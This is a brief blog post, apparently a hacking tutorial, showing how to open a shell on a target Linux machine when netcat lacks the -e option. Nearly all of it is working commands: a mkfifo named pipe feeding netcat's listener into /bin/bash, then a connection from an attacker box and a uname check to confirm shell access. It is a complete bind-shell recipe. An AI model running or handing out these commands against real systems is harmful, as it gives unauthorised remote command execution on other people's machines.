Posted by shinigami at 16:36
Read our previous post
When the nc cannot giving option -e for execute some program, we have 2 way to solve it.- Install netcat traditional
- Using mkfifo
Simply by run this command on the target machine:
target@ubuntu# mkfifo file
Inject netcat into file
target@ubuntu# nc -lk -p 1338 < file | /bin/bash > file
Now, connect to the target using nc and listen at port 1338
root@bt# nc -v 192.168.56.101 1338
check the bash command:
uname -aIf return : Linux bla..bla.......
It's mean that you get the bash command
No comments:
Post a Comment